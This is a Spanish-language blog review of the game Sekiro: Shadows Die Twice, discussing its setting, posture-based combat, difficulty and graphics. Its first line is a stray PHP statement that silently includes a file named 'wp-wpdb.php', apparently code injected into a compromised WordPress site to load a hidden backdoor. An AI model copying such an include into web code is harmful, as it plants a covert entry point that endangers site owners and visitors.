if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Sekiro: Shadows Die Twice – La Fortaleza de LeChuck

Análisis Sekiro: Shadows Die Twice

Morir, revivir y volver a morir. Estas son las tres etapas que definen el nuevo juego de From Software, una propuesta que se distancia de trabajos anteriores a través de una historia más verosímil y un combate cercano y agresivo. Viajemos a la era de los samurais y shinobis con Sekiro: Shadows die Twice.

From Software se ha coronado como la compañía de los juegos difíciles, y lleva en el trono unos cuantos años, justo desde aquel primer prototipo llamado Demon’s Souls que más tarde propició la llegada de Dark Souls, una trilogía que le dio la popularidad de la que goza hoy en día y que, posteriormente, fue indispensable para el éxito de Bloodborne. El endemoniado Dark Souls creó un nuevo estándar de dificultad para nuestro tiempo, algo que no ocurría desde aquellos juegos de los 80 y comienzos de los 90. A raíz de Dark Souls, cuando aparecía un juego que se hacía cuesta arriba, la gente hacía referencia al título con expresiones como «El Dark Souls de los juegos de lucha» y otras variaciones dependiendo del producto. Tras el lanzamiento de Sekiro, la escala de dificultad ha recibido una actualización con más desafíos y dureza para el jugador.

Hace unos años, Miyazaki expresó en una entrevista que deseaba desarrollar un juego nuevo que sorprendiera a los fans y no recordara constantemente a sus anteriores trabajos. De hecho, From Software lanzó Déraciné el año pasado, una aventura pausada para PSVR que supuso el comienzo del cambio. Sin embargo, la VR aún es un producto de nicho y su alcance fue limitado; era necesario volver a lo grande con un juego de acción para satisfacer a su gran comunidad de seguidores. Su respuesta fue Sekiro.

Uno de los elementos diferenciadores de Sekiro es su ambientación: estamos en la edad media japonesa, concretamente en la era sengoku, unos años marcados por la inestabilidad y las guerras civiles, donde los shinobis y samurais eran contratados como despiadados guerreros para defender a su amo. Unos eran reputados maestros de la espada y las artes de la guerra; los otros, unos asesinos rápidos y sigilosos. La ambientación feudal de la época -poco explotada en el videojuego- es representaba a todo detalle mediante zonas de casas tradicionales y gentes ataviadas con ropas de antaño que se expresan en japonés antiguo. La narrativa también sufre una acentuada transformación eliminando el avatar personalizable y poniendo en su lugar un shinobi que responde al nombre de «Lobo», cuyo cometido es rescatar a su joven señor. El trasfondo que rodea al personaje nutre la historia a unos niveles que no habíamos visto anteriormente en un juego de From Software.

Asimismo, la narración es mucho más sencilla de seguir y está diseminada dentro de una estructura más tradicional, es decir, ya no será indispensable atar cabos con descripciones de objetos y llenar huecos vacíos con la imaginación. También es una ruptura con los elementos fantásticos, y estos solo representan una pequeña parte del juego. Dicho en otras palabras: no hallaremos muchos lugares sobrenaturales, y los enemigos en su mayoría son humanos con técnicas posibles. De este modo resulta más fácil la inmersión en la época antigua de la que bebe Sekiro. Tenemos por delante una aventura que nos llevará por la región de Ashina y sus alrededores, así como por el pasado del Lobo.

Una de las cosas que más me llamó la atención con Sekiro es que no me recordaba constantemente a recientes trabajos de From Software. Es cierto que tiene elementos heredados de otros juegos como las hogueras, aquí llamadas «ídolos del escultor«, y también el frasco estus que ahora tiene forma de calabaza. Y resulta familiar el sistema de inventario y la interfaz. Sin embargo, la jugabilidad de Sekiro está a años luz de los Souls. Para buscarle un parecido real tendríamos que remontarnos a Tenchu, un viejo juego de la compañía donde la ambientación feudal y el ninja protagonista hacen que Sekiro encaje perfectamente como su secuela espiritual. Disponemos del sigilo para ocultarnos entre las sombras y asestar así puñadas, sin olvidar el gancho, ideal para alcanzar zonas inaccesibles a pie. Este objeto otorga verticalidad y acelera el avance por los niveles, pero además hace muy divertido colgarse por los lugares y ser una especie de Tarzán.

Las mecánicas más disruptivas se hallan en el sistema de combate donde todo gira en torno a la postura. La postura rige las batallas de Sekiro, y es necesario romperla para asestar un golpe mortal. La postura vendría a sustituir la barra de energía, pero funciona de otra manera, digamos que ahora nuestro objetivo es agotar la resistencia del rival para dejarlo expuesto. La barra de estamina desaparece, así que ejecutar acciones como golpear, correr, saltar, etc. no tiene limites ni penalizaciones. Atacar aumenta la barra de postura del enemigo y cuando esta se completa, es el momento de dar el golpe definitivo. Pero ojo, el enemigo intentará hacer lo mismo con la nuestra. Resumiendo: si no atacamos constantemente, la barra de postura se regenerará y tendremos que comenzar de nuevo. Los enemigos fuertes tienen diferentes iconos esféricos encima de la vida que informan de cuántos golpes mortales son necesarios para darle muerte. ¿Cuál es el problema de estas nuevas mecánicas? Pues que implica un combate cercano y ofensivo, lo que puede volverse un verdadero reto para los jugadores que se decantan por clases a distancia. Yo formo parte de ese grupo, y os puedo decir que el comienzo fue duro. Ahora ya lo llevo mejor, pero de vez en cuando aflora ese nerviosismo ante la cercanía de un jefe imponente.

Sekiro es básicamente un juego «mata jefes» y los enemigos menores representan un pequeñísimo número. Por esta razón, es imprescindible observar los movimientos de los bosses y aprender correctamente las técnicas que contrarrestan sus ataques. Y algo aún más complicado: perder el miedo a atacar continuadamente. Durante nuestra aventura, desbloquearemos distintas habilidades de un árbol con los puntos de experiencia ganados al derrotar enemigos, y también nos toparemos con herramientas ninja que equiparemos en nuestra prótesis. Las herramientas tienen un uso limitado, y las recargan se encuentran por el mundo, o bien se pueden comprar en los ídolos. Expandir nuestras habilidades en combate y aprender bien su uso nos hará salir airosos. ¡Entrena con el tipo inmortal del templo!

Antes os hablé de morir-revivir-morir, y es que después de caer en combate se puede regresar de entre los muertos un número limitado de veces con el fin de seguir combatiendo en ese punto. Si a pesar de revivir, volvemos a fallar, una enfermedad llamada Dracogripe se expandirá por el mundo, y con ella nuestra pérdida de «ayuda Invisible», un añadido que hace que tras morir no perdamos objetos y puntos de experiencia. Tranquilos, se puede curar. Revivir es una de las «ventajas» que ofrece Sekiro sobre anteriores juegos para sustituir el farmeo de almas o la ayuda online, dos elementos que han desaparecido para siempre, lo que significa que ahora estamos solos contra el juego. Pero bueno, nos os echéis las manos a la cabeza aún, ahora se permite pausar el juego para tomarnos un pequeño respiro y pensar bien el siguiente movimiento. No obstante, no os voy a engañar, el juego es difícil, muy difícil, y auguro que un gran número de jugadores no conseguirá acabarlo. Requiere paciencia y perseverancia, dos palabras no muy de moda en nuestros días.

Aunque es importante destacar que a mitad de juego la dificultad cae estrepitosamente debido a una considerable suma de habilidades especiales ganadas; y  el uso repetido de estas contra jefes hacen que caigan en cuestión de segundos. Por otro lado observé que la utilización de la prótesis no me reportaba grandes beneficios en combate y, además, necesitaba molestas recargas, por lo cual prescindí de ellas. Una lástima que no se recargaran los usos al descansar en los ídolos.

A nivel de gráfico, Sekiro sube un escalón más en calidad visual, y esta mejora refuerza la bonita ambientación del Japón del pasado que se ensalza con una banda sonora evocadora. El resultado es un juego con instantes que son pura poesía. En ciertos momentos me sentía como en las OVAS de Rurouni Kenshin cuando el protagonista sufre las consecuencias de una época donde vivir y morir forman parte del mismo infierno. En cuanto a estabilidad, primero probé la estupenda versión de PC, pero al pasarme a la de Xbox One X observé caídas constantes de frames que entorpecían el gameplay. Aún así, el chute de fps hace que el juego se viva de forma más intensa.

Sekiro no es para todos los públicos, ni siquiera para la mayoría de supervivientes de Dark Souls. Estamos ante un título duro de roer al que hay que dedicarle tiempo y armarse de paciencia. Sin embargo, la historia erigida sobre una época de caos donde los guerreros respondían al código ninjutsu y luchaban por el bien de su señor, y la ambientación onírica digna de una novela de Ryōtarō Shiba, harán las delicia de los fans de la cultura japonesa. Posiblemente Sekiro sea la esencia más pura de la satisfacción por el esfuerzo empleado, así que no te rindas Shinobi, no dejes que tu honor se derrame como la sangre de las víctimas que nacieron en un periodo oscuro.

Puedes morir en cualquier momento, pero vivir requiere valentía.

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Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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